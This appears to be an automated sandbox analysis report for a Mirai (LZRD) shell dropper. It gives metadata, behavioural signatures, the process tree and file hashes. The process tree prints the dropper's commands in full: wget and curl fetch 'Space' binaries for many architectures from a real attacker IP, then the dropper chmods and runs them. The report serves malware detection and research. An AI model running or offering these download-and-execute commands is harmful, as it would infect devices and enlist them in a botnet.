Analysis

  • max time kernel
    139s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21-12-2024 07:41

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    5900bec79ec2bba33659f8a9dfe92eb6

  • SHA1

    73ec8e41322311f983e35396c66fab7ab580aa72

  • SHA256

    984686cc7b69066b7963531fa7948f8134fa9fd2f5beabcea849b2e5d852cbcc

  • SHA512

    671afe06a8c6d5108d48010d0ff4697c514e0febcbfd602d2953f9e13469ea05761386b9500b5a4d52b57b45f7cc037282b657110676f52f2d95f54cc2896a42

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 28 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 28 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:1481
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:1482
    • /usr/bin/wget
      wget http://154.216.16.63/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1483
    • /usr/bin/curl
      curl -O http://154.216.16.63/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1488
    • /bin/cat
      cat Space.arc
      2⤵
        PID:1500
      • /bin/chmod
        chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF
        2⤵
        • File and Directory Permissions Modification
        PID:1501
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:1502
      • /usr/bin/wget
        wget http://154.216.16.63/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1504
      • /usr/bin/curl
        curl -O http://154.216.16.63/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1505
      • /bin/cat
        cat Space.x86
        2⤵
          PID:1506
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.x86 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF
          2⤵
          • File and Directory Permissions Modification
          PID:1507
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1508
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF
          2⤵
          • File and Directory Permissions Modification
          PID:1525
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1526
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1532
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1533
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF
          2⤵
          • File and Directory Permissions Modification
          PID:1535
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1536
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1542
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1543
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF
          2⤵
          • File and Directory Permissions Modification
          PID:1545
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1546
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          PID:1552
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1553
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF
          2⤵
          • File and Directory Permissions Modification
          PID:1555
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1556
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1562
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1563
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF
          2⤵
          • File and Directory Permissions Modification
          PID:1565
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1566
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1574
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1575
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
          2⤵
          • File and Directory Permissions Modification
          PID:1577
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1578
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1584
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1585
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
          2⤵
          • File and Directory Permissions Modification
          PID:1587
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1588
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1594
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1595
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
          2⤵
          • File and Directory Permissions Modification
          PID:1597
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1598
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1604
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1605
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
          2⤵
          • File and Directory Permissions Modification
          PID:1607
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1608
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1614
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1615
        • /bin/chmod
          chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
          2⤵
          • File and Directory Permissions Modification
          PID:1617
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1618
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.sparc
          2⤵
            PID:1624
          • /usr/bin/curl
            curl -O http://154.216.16.63/hiddenbin/Space.sparc
            2⤵
            • Writes file to tmp directory
            PID:1625
          • /bin/chmod
            chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
            2⤵
            • File and Directory Permissions Modification
            PID:1627
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1628
          • /usr/bin/wget
            wget http://154.216.16.63/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1634
          • /usr/bin/curl
            curl -O http://154.216.16.63/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1635
          • /bin/chmod
            chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
            2⤵
            • File and Directory Permissions Modification
            PID:1637
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1638
          • /usr/bin/wget
            wget http://154.216.16.63/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1644
          • /usr/bin/curl
            curl -O http://154.216.16.63/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1645
          • /bin/chmod
            chmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2
            2⤵
            • File and Directory Permissions Modification
            PID:1647
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1648

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/Space

          Filesize

          37KB

          MD5

          040ffa7428eb327e862d8ef760f9b0b7

          SHA1

          a5d63558608159d11599e17fc22418e8d6be37e3

          SHA256

          a0a8b1e5a745d6a769d6bad18629d8e3219220184b70c0bf35d57e677f15547e

          SHA512

          8c17678e8b2bb096a01bcbf633fd0cde40b77519508165d8e6b1dc9634654156e6064ad1d67544b52bebbadcb2bdc3cccec301ff1fd6ce4750d0eb290be2087f

        • /tmp/Space.arc

          Filesize

          113KB

          MD5

          2b28ad39d8447ff98e4880a5f4518f5d

          SHA1

          5829d16ccff2037972e268c6ec1c23737c641fa1

          SHA256

          62456a156cd7b4ddc7254c08bb0c56d93480d8b72a21d045eb44da76fbc5fdba

          SHA512

          3962452902afb695ab1cd060f6a2563fedf0c304bca7e5c8dd9af95a9e7bbaabdc08b7f4ba9d2dc463519bcb0a61c6f9357b3a172c10cca79bdbb2cf7984a86f

        • /tmp/busybox

          Filesize

          2.0MB

          MD5

          b4dede5fc0b1bad5cb8e901bde126b97

          SHA1

          10cbe9a418ad84a1ed297948539d37aeb58dd810

          SHA256

          a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

          SHA512

          45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6